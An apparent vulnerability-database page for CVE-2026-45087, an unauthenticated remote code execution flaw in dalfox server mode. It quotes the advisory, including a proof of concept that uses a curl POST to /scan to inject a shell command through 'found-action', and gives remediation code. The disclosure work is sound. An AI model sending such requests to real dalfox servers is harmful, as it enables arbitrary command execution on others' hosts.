CVE-2026-45087: Github.com/hahwul/dalfox/v2 Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-v25v-m36w-jp4h
CVSS 10.0
CWE-15 CWE-78 CWE-306
Published
Advisory Summary

CVE-2026-45087 is a CRITICAL (CVSS 10.0) remote code execution vulnerability (CWE-15: External Control of System or Configuration Setting) affecting Github.com/hahwul/dalfox/v2 libraries in the Go ecosystem. The issue involves dalfox server mode vulnerable to unauthenticated remote code execution via `found-action`. Remediation is available by upgrading affected packages to version 2.13.0.

CVE-2026-45087 at a Glance

CVE Identifier CVE-2026-45087
GHSA Identifier GHSA-v25v-m36w-jp4h
Severity CRITICAL
CVSS v3.1 Base Score 10.0
CWE Classification CWE-15: External Control of System or Configuration Setting
Affected Product Github.com/hahwul/dalfox/v2
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 10.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-45087

To remediate this vulnerability, upgrade all affected Github.com/hahwul/dalfox/v2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/hahwul/dalfox/v2 fixed: 2.13.0
Upgrade github.com/hahwul/dalfox/v2 to 2.13.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/hahwul/dalfox/v2

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-45087, inspect your project dependencies for Github.com/hahwul/dalfox/v2:

inspect dependencies for github.com/hahwul/dalfox/v2

Analyze the terminal output to locate any version of Github.com/hahwul/dalfox/v2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.13.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-15: External Control of System or Configuration Setting, where one or more system settings or configuration elements can be externally controlled by a user. In Github.com/hahwul/dalfox/v2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# GHSA: Unauthenticated Remote Code Execution via `found-action` in Dalfox Server Mode ## Summary When dalfox is started in REST API server mode (`dalfox server`), the server binds to `0.0.0.0:6664` by default and requires no API key unless the operator explicitly passes `--api-key`. Because `model.Options` — including `FoundAction` and `FoundActionShell` — is deserialized directly from attacker-supplied JSON in `POST /scan`, and because `dalfox.Initialize` explicitly propagates those two fields into the final scan options without stripping them, any unauthenticated caller who can reach the server port can supply an arbitrary shell command that the dalfox process will execute on the host whenever a scan finding is triggered. ## Severity **Critical** (CVSS 3.1: 10.0) `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H` - **Attack Vector:** Network — the server binds to `0.0.0.0` by default; reachable by any network peer. - **Attack Complexity:** Low — the attacker fully controls the scanned URL and can trivially host a one-line reflective server to guarantee a finding is triggered. - **Privileges Required:** None — no API key is enforced in the default configuration. - **User Interaction:** None. - **Scope:** Changed — exploitation escapes the dalfox process boundary and executes arbitrary commands on the host OS. - **Confidentiality Impact:** High — full read access to the host filesystem and secrets in the process environment. - **Integrity Impact:** High — arbitrary file writes, code deployment, persistence mechanisms. - **Availability Impact:** High — process kill, resource exhaustion, service disruption. ## Affected Component - `cmd/server.go` — `init()` (line 51): `--api-key` defaults to `""` - `pkg/server/server.go` — `setupEchoServer()` (line 68): auth middleware only registered when `APIKey != ""` - `pkg/server/server.go` — `postScanHandler()` (lines 173–191): `rq.Options` passed to `ScanFromAPI` without sanitization - `lib/func.go` — `Initialize()` (lines 118–119): `FoundAction` / `FoundActionShell` explicitly propagated from caller options - `pkg/scanning/foundaction.go` — `foundAction()` (lines 17–18): `exec.Command(options.FoundActionShell, "-c", afterCmd)` executed unconditionally ## CWE - **CWE-306**: Missing Authentication for Critical Function - **CWE-78**: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') - **CWE-15**: External Control of System or Configuration Setting ## Description ### Opt-in Authentication with a Dangerous Default `cmd/server.go` registers the `--api-key` flag with an empty string default: ```go // cmd/server.go:51 serverCmd.Flags().StringVar(&apiKey, "api-key", "", "Specify the API key for server authentication...") ``` `setupEchoServer` only installs the `apiKeyAuth` middleware when that value is non-empty: ```go // pkg/server/server.go:68-70 if options.ServerType == "rest" && options.APIKey != "" { e.Use(apiKeyAuth(options.APIKey, options)) } ``` A server started without `--api-key` accepts every request on every route with no challenge. The `apiKeyAuth` implementation itself is correct — the flaw is purely in the opt-in condition that makes authentication off by default. ### Attacker-Controlled `Options` Reaches Shell Execution Without Stripping `POST /scan` deserializes the full `model.Options` struct from the JSON body: ```go // pkg/server/model.go:6-8 type Req struct { URL string `json:"url"` Options model.Options `json:"options"` } // pkg/server/server.go:173-191 rq := new(Req) if err := c.Bind(rq); err != nil { ... } go ScanFromAPI(rq.URL, rq.Options, *options, sid) ``` `model.Options` exposes both execution-control fields as JSON-tagged properties: ```go // pkg/model/options.go:83-84 FoundAction string `json:"found-action,omitempty"` FoundActionShell string `json:"found-action-shell,omitempty"` ``` `ScanFromAPI` builds the scan target directly from `rqOptions` and passes it to `dalfox.Initialize`: ```go // pkg/server/scan.go:22-27 target := dalfox.Target{ URL: url, Method: rqOptions.Method, Options: rqOptions, } newOptions := dalfox.Initialize(target, target.Options) ``` `Initialize` explicitly copies both fields into `newOptions` — there is no stripping path: ```go // lib/func.go:118-119 "FoundAction": {&newOptions.FoundAction, options.FoundAction}, "FoundActionShell": {&newOptions.FoundActionShell, options.FoundActionShell}, ``` ### Shell Execution on Any Finding `foundAction` is called from seven locations across `pkg/scanning/scanning.go` and `pkg/scanning/sendReq.go` whenever `options.FoundAction != ""` and any vulnerability is detected. None of these call sites check `options.IsAPI`: ```go // pkg/scanning/foundaction.go:12-18 func foundAction(options model.Options, target, query, ptype string) { afterCmd := options.FoundAction afterCmd = strings.ReplaceAll(afterCmd, "@@query@@", query) afterCmd = strings.ReplaceAll(afterCmd, "@@target@@", target) afterCmd = strings.ReplaceAll(afterCmd, "@@type@@", ptype) cmd := exec.Command(options.FoundActionShell, "-c", afterCmd) err := cmd.Run() ... } ``` Because the attacker supplies both the scan target URL and `found-action`, they trivially guarantee that a finding is produced (by hosting a one-line reflective server) and that the shell command is executed. ## Proof of Concept ```bash # Step 1 — Start a reflective XSS target (attacker-controlled) python3 - <<'PY' from http.server import BaseHTTPRequestHandler, HTTPServer from urllib.parse import urlparse, parse_qs class H(BaseHTTPRequestHandler): def do_GET(self): q = parse_qs(urlparse(self.path).query).get('q', [''])[0] body = f'<html><body>{q}</body></html>'.encode() self.send_response(200) self.send_header('Content-Type', 'text/html') self.send_header('Content-Length', str(len(body))) self.end_headers() self.wfile.write(body) def log_message(self, *a): pass HTTPServer(('127.0.0.1', 18081), H).serve_forever() PY # Step 2 — Start dalfox in REST server mode (default: 0.0.0.0:6664, no API key) go run . server --host 127.0.0.1 --port 16664 --type rest # Step 3 — POST unauthenticated scan request with found-action payload curl -s -X POST http://127.0.0.1:16664/scan \ -H 'Content-Type: application/json' \ --data '{ "url": "http://127.0.0.1:18081/?q=test", "options": { "found-action": "echo owned >/tmp/dalfox_rce_marker", "found-action-shell": "bash", "use-headless": false, "worker": 1, "limit-result": 1 } }' # Step 4 — Confirm arbitrary command executed on the dalfox host cat /tmp/dalfox_rce_marker # Expected output: owned ``` No `X-API-KEY` header is required. The reflective server ensures dalfox finds a vulnerability, which triggers `foundAction`. ## Impact - **Unauthenticated remote code execution** on any host running `dalfox server` in its default configuration. - Full read access to secrets, configuration files, and credentials visible to the dalfox process. - Arbitrary file writes: persistence, backdoor installation, data exfiltration staging. - Lateral movement using the dalfox host's network position and credentials. - The default `0.0.0.0` bind address means exposure to all network interfaces, including public-facing ones in misconfigured cloud environments. ## Recommended Remediation ### Option 1: Require API key — make `--api-key` mandatory (preferred) Reject server startup when no API key is provided and emit a loud warning. This is the lowest-risk fix because it protects all current and future routes without code changes to the scan path. ```go // cmd/server.go — in runServerCmd, before starting the server: if serverType == "rest" && apiKey == "" { fmt.Fprintln(os.Stderr, "ERROR: --api-key is required when running in REST server mode.") fmt.Fprintln(os.Stderr, " Generate a key with: openssl rand -hex 32") os.Exit(1) } ``` ### Option 2: Strip `FoundAction` / `FoundActionShell` from API-sourced requests Prevent untrusted callers from setting execution-control options regardless of auth state. This adds defence-in-depth and protects authenticated deployments against credential theft. ```go // pkg/server/server.go — in postScanHandler, before calling ScanFromAPI: rq.Options.FoundAction = "" rq.Options.FoundActionShell = "" ``` Both options should be applied together. Option 1 prevents unauthenticated access; Option 2 ensures that even authenticated callers (who may be external consumers of the REST API) cannot trigger host-level command execution. ##Credit Emmanuel David Github:- https://github.com/drmingler

CVE-2026-45087 Affected Github.com/hahwul/dalfox/v2 Versions

1 component(s)
Fixed Versions:
2.13.0
Product / Package Ecosystem Affected Versions Fixed Version
github.com/hahwul/dalfox/v2
Go
< 2.13.0
2.13.0

References

Frequently Asked Questions

What is CVE-2026-45087?
CVE-2026-45087 is a security vulnerability in Github.com/hahwul/dalfox/v2 involving Dalfox Server Mode Vulnerable to Unauthenticated Remote Code Execution via `found-action` under CWE-15: External Control of System or Configuration Setting.
Which Github.com/hahwul/dalfox/v2 versions are affected?
Affected versions include releases prior to 2.13.0 across affected packages: github.com/hahwul/dalfox/v2.
What version fixes CVE-2026-45087?
Upgrading to 2.13.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/hahwul/dalfox/v2 affected?
Yes, github.com/hahwul/dalfox/v2 is affected in releases prior to 2.13.0. Upgrade your dependency to 2.13.0 or later.
What is the CVSS score of CVE-2026-45087?
CVE-2026-45087 has a CVSS v3.1 base score of 10.0 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-45087?
CVE-2026-45087 is classified under CWE-15: External Control of System or Configuration Setting (One or more system settings or configuration elements can be externally controlled by a user.).
How can I check Go dependencies for CVE-2026-45087?
Run the dependency tree command: 'inspect dependencies for github.com/hahwul/dalfox/v2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-v25v-m36w-jp4h",
  "modified" : "2026-06-08T23:50:00Z",
  "published" : "2026-05-12T15:07:59Z",
  "aliases" : [ "CVE-2026-45087" ],
  "summary" : "Dalfox Server Mode Vulnerable to Unauthenticated Remote Code Execution via `found-action`",
  "details" : "# GHSA: Unauthenticated Remote Code Execution via `found-action` in Dalfox Server Mode\n\n## Summary\n\nWhen dalfox is started in REST API server mode (`dalfox server`), the server binds to `0.0.0.0:6664` by default and requires no API key unless the operator explicitly passes `--api-key`. Because `model.Options` — including `FoundAction` and `FoundActionShell` — is deserialized directly from attacker-supplied JSON in `POST /scan`, and because `dalfox.Initialize` explicitly propagates those two fields into the final scan options without stripping them, any unauthenticated caller who can reach the server port can supply an arbitrary shell command that the dalfox process will execute on the host whenever a scan finding is triggered.\n\n## Severity\n\n**Critical** (CVSS 3.1: 10.0)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H`\n\n- **Attack Vector:** Network — the server binds to `0.0.0.0` by default; reachable by any network peer.\n- **Attack Complexity:** Low — the attacker fully controls the scanned URL and can trivially host a one-line reflective server to guarantee a finding is triggered.\n- **Privileges Required:** None — no API key is enforced in the default configuration.\n- **User Interaction:** None.\n- **Scope:** Changed — exploitation escapes the dalfox process boundary and executes arbitrary commands on the host OS.\n- **Confidentiality Impact:** High — full read access to the host filesystem and secrets in the process environment.\n- **Integrity Impact:** High — arbitrary file writes, code deployment, persistence mechanisms.\n- **Availability Impact:** High — process kill, resource exhaustion, service disruption.\n\n\n## Affected Component\n\n- `cmd/server.go` — `init()` (line 51): `--api-key` defaults to `\"\"`\n- `pkg/server/server.go` — `setupEchoServer()` (line 68): auth middleware only registered when `APIKey != \"\"`\n- `pkg/server/server.go` — `postScanHandler()` (lines 173–191): `rq.Options` passed to `ScanFromAPI` without sanitization\n- `lib/func.go` — `Initialize()` (lines 118–119): `FoundAction` / `FoundActionShell` explicitly propagated from caller options\n- `pkg/scanning/foundaction.go` — `foundAction()` (lines 17–18): `exec.Command(options.FoundActionShell, \"-c\", afterCmd)` executed unconditionally\n\n## CWE\n\n- **CWE-306**: Missing Authentication for Critical Function\n- **CWE-78**: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')\n- **CWE-15**: External Control of System or Configuration Setting\n\n## Description\n\n### Opt-in Authentication with a Dangerous Default\n\n`cmd/server.go` registers the `--api-key` flag with an empty string default:\n\n```go\n// cmd/server.go:51\nserverCmd.Flags().StringVar(&apiKey, \"api-key\", \"\", \"Specify the API key for server authentication...\")\n```\n\n`setupEchoServer` only installs the `apiKeyAuth` middleware when that value is non-empty:\n\n```go\n// pkg/server/server.go:68-70\nif options.ServerType == \"rest\" && options.APIKey != \"\" {\n    e.Use(apiKeyAuth(options.APIKey, options))\n}\n```\n\nA server started without `--api-key` accepts every request on every route with no challenge. The `apiKeyAuth` implementation itself is correct — the flaw is purely in the opt-in condition that makes authentication off by default.\n\n### Attacker-Controlled `Options` Reaches Shell Execution Without Stripping\n\n`POST /scan` deserializes the full `model.Options` struct from the JSON body:\n\n```go\n// pkg/server/model.go:6-8\ntype Req struct {\n    URL     string        `json:\"url\"`\n    Options model.Options `json:\"options\"`\n}\n\n// pkg/server/server.go:173-191\nrq := new(Req)\nif err := c.Bind(rq); err != nil { ... }\ngo ScanFromAPI(rq.URL, rq.Options, *options, sid)\n```\n\n`model.Options` exposes both execution-control fields as JSON-tagged properties:\n\n```go\n// pkg/model/options.go:83-84\nFoundAction      string `json:\"found-action,omitempty\"`\nFoundActionShell string `json:\"found-action-shell,omitempty\"`\n```\n\n`ScanFromAPI` builds the scan target directly from `rqOptions` and passes it to `dalfox.Initialize`:\n\n```go\n// pkg/server/scan.go:22-27\ntarget := dalfox.Target{\n    URL:     url,\n    Method:  rqOptions.Method,\n    Options: rqOptions,\n}\nnewOptions := dalfox.Initialize(target, target.Options)\n```\n\n`Initialize` explicitly copies both fields into `newOptions` — there is no stripping path:\n\n```go\n// lib/func.go:118-119\n\"FoundAction\":      {&newOptions.FoundAction, options.FoundAction},\n\"FoundActionShell\": {&newOptions.FoundActionShell, options.FoundActionShell},\n```\n\n### Shell Execution on Any Finding\n\n`foundAction` is called from seven locations across `pkg/scanning/scanning.go` and `pkg/scanning/sendReq.go` whenever `options.FoundAction != \"\"` and any vulnerability is detected. None of these call sites check `options.IsAPI`:\n\n```go\n// pkg/scanning/foundaction.go:12-18\nfunc foundAction(options model.Options, target, query, ptype string) {\n    afterCmd := options.FoundAction\n    afterCmd = strings.ReplaceAll(afterCmd, \"@@query@@\", query)\n    afterCmd = strings.ReplaceAll(afterCmd, \"@@target@@\", target)\n    afterCmd = strings.ReplaceAll(afterCmd, \"@@type@@\", ptype)\n    cmd := exec.Command(options.FoundActionShell, \"-c\", afterCmd)\n    err := cmd.Run()\n    ...\n}\n```\n\nBecause the attacker supplies both the scan target URL and `found-action`, they trivially guarantee that a finding is produced (by hosting a one-line reflective server) and that the shell command is executed.\n\n## Proof of Concept\n\n```bash\n# Step 1 — Start a reflective XSS target (attacker-controlled)\npython3 - <<'PY'\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom urllib.parse import urlparse, parse_qs\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        q = parse_qs(urlparse(self.path).query).get('q', [''])[0]\n        body = f'<html><body>{q}</body></html>'.encode()\n        self.send_response(200)\n        self.send_header('Content-Type', 'text/html')\n        self.send_header('Content-Length', str(len(body)))\n        self.end_headers()\n        self.wfile.write(body)\n    def log_message(self, *a): pass\nHTTPServer(('127.0.0.1', 18081), H).serve_forever()\nPY\n\n# Step 2 — Start dalfox in REST server mode (default: 0.0.0.0:6664, no API key)\ngo run . server --host 127.0.0.1 --port 16664 --type rest\n\n# Step 3 — POST unauthenticated scan request with found-action payload\ncurl -s -X POST http://127.0.0.1:16664/scan \\\n  -H 'Content-Type: application/json' \\\n  --data '{\n    \"url\": \"http://127.0.0.1:18081/?q=test\",\n    \"options\": {\n      \"found-action\": \"echo owned >/tmp/dalfox_rce_marker\",\n      \"found-action-shell\": \"bash\",\n      \"use-headless\": false,\n      \"worker\": 1,\n      \"limit-result\": 1\n    }\n  }'\n\n# Step 4 — Confirm arbitrary command executed on the dalfox host\ncat /tmp/dalfox_rce_marker\n# Expected output: owned\n```\n\nNo `X-API-KEY` header is required. The reflective server ensures dalfox finds a vulnerability, which triggers `foundAction`.\n\n## Impact\n\n- **Unauthenticated remote code execution** on any host running `dalfox server` in its default configuration.\n- Full read access to secrets, configuration files, and credentials visible to the dalfox process.\n- Arbitrary file writes: persistence, backdoor installation, data exfiltration staging.\n- Lateral movement using the dalfox host's network position and credentials.\n- The default `0.0.0.0` bind address means exposure to all network interfaces, including public-facing ones in misconfigured cloud environments.\n\n## Recommended Remediation\n\n### Option 1: Require API key — make `--api-key` mandatory (preferred)\n\nReject server startup when no API key is provided and emit a loud warning. This is the lowest-risk fix because it protects all current and future routes without code changes to the scan path.\n\n```go\n// cmd/server.go — in runServerCmd, before starting the server:\nif serverType == \"rest\" && apiKey == \"\" {\n    fmt.Fprintln(os.Stderr, \"ERROR: --api-key is required when running in REST server mode.\")\n    fmt.Fprintln(os.Stderr, \"       Generate a key with: openssl rand -hex 32\")\n    os.Exit(1)\n}\n```\n\n### Option 2: Strip `FoundAction` / `FoundActionShell` from API-sourced requests\n\nPrevent untrusted callers from setting execution-control options regardless of auth state. This adds defence-in-depth and protects authenticated deployments against credential theft.\n\n```go\n// pkg/server/server.go — in postScanHandler, before calling ScanFromAPI:\nrq.Options.FoundAction = \"\"\nrq.Options.FoundActionShell = \"\"\n```\n\nBoth options should be applied together. Option 1 prevents unauthenticated access; Option 2 ensures that even authenticated callers (who may be external consumers of the REST API) cannot trigger host-level command execution.\n\n##Credit\n\nEmmanuel David\n\nGithub:- https://github.com/drmingler",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/hahwul/dalfox/v2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.13.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.12.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/hahwul/dalfox/security/advisories/GHSA-v25v-m36w-jp4h"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45087"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/hahwul/dalfox"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/hahwul/dalfox/releases/tag/v2.13.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-15", "CWE-306", "CWE-78" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-12T15:07:59Z",
    "nvd_published_at" : "2026-05-27T18:16:24Z"
  }
}